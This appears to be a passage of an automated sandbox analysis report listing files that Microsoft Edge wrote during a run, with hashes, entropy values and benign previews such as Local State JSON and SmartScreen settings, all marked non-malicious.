Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577139697609
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kVCLmZtJtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynXtGhOxqQoRTuiVIos
MD5:	27349FEEECF6882E9D94E272D1D1E638
SHA1:	9F768DF4034DE44322DC6FBCE2986EE8385C3397
SHA-256:	2D7ECF078D0BFFF013BEAE568B8903674F6DD9DA5FE3E43F812216188DE1DE55
SHA-512:	1140F0F955A6CD52FCE5269C782066A07EF51357FEEF2E973680470F72DC5A03FDBAD666F5B23F75843B77CBE00910B28A433D2D36A0BC2CA3C92B2A86287F27
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF29149.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577139697609
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kVCLmZtJtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynXtGhOxqQoRTuiVIos
MD5:	27349FEEECF6882E9D94E272D1D1E638
SHA1:	9F768DF4034DE44322DC6FBCE2986EE8385C3397
SHA-256:	2D7ECF078D0BFFF013BEAE568B8903674F6DD9DA5FE3E43F812216188DE1DE55
SHA-512:	1140F0F955A6CD52FCE5269C782066A07EF51357FEEF2E973680470F72DC5A03FDBAD666F5B23F75843B77CBE00910B28A433D2D36A0BC2CA3C92B2A86287F27
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2932e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577139697609
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kVCLmZtJtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynXtGhOxqQoRTuiVIos
MD5:	27349FEEECF6882E9D94E272D1D1E638
SHA1:	9F768DF4034DE44322DC6FBCE2986EE8385C3397
SHA-256:	2D7ECF078D0BFFF013BEAE568B8903674F6DD9DA5FE3E43F812216188DE1DE55
SHA-512:	1140F0F955A6CD52FCE5269C782066A07EF51357FEEF2E973680470F72DC5A03FDBAD666F5B23F75843B77CBE00910B28A433D2D36A0BC2CA3C92B2A86287F27
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2b9b1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577139697609
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kVCLmZtJtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynXtGhOxqQoRTuiVIos
MD5:	27349FEEECF6882E9D94E272D1D1E638
SHA1:	9F768DF4034DE44322DC6FBCE2986EE8385C3397
SHA-256:	2D7ECF078D0BFFF013BEAE568B8903674F6DD9DA5FE3E43F812216188DE1DE55
SHA-512:	1140F0F955A6CD52FCE5269C782066A07EF51357FEEF2E973680470F72DC5A03FDBAD666F5B23F75843B77CBE00910B28A433D2D36A0BC2CA3C92B2A86287F27
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF300fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577139697609
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kVCLmZtJtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynXtGhOxqQoRTuiVIos
MD5:	27349FEEECF6882E9D94E272D1D1E638
SHA1:	9F768DF4034DE44322DC6FBCE2986EE8385C3397
SHA-256:	2D7ECF078D0BFFF013BEAE568B8903674F6DD9DA5FE3E43F812216188DE1DE55
SHA-512:	1140F0F955A6CD52FCE5269C782066A07EF51357FEEF2E973680470F72DC5A03FDBAD666F5B23F75843B77CBE00910B28A433D2D36A0BC2CA3C92B2A86287F27
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a3b3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577139697609
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kVCLmZtJtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynXtGhOxqQoRTuiVIos
MD5:	27349FEEECF6882E9D94E272D1D1E638
SHA1:	9F768DF4034DE44322DC6FBCE2986EE8385C3397
SHA-256:	2D7ECF078D0BFFF013BEAE568B8903674F6DD9DA5FE3E43F812216188DE1DE55
SHA-512:	1140F0F955A6CD52FCE5269C782066A07EF51357FEEF2E973680470F72DC5A03FDBAD666F5B23F75843B77CBE00910B28A433D2D36A0BC2CA3C92B2A86287F27
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4004a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577139697609
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kVCLmZtJtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynXtGhOxqQoRTuiVIos
MD5:	27349FEEECF6882E9D94E272D1D1E638
SHA1:	9F768DF4034DE44322DC6FBCE2986EE8385C3397
SHA-256:	2D7ECF078D0BFFF013BEAE568B8903674F6DD9DA5FE3E43F812216188DE1DE55
SHA-512:	1140F0F955A6CD52FCE5269C782066A07EF51357FEEF2E973680470F72DC5A03FDBAD666F5B23F75843B77CBE00910B28A433D2D36A0BC2CA3C92B2A86287F27
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
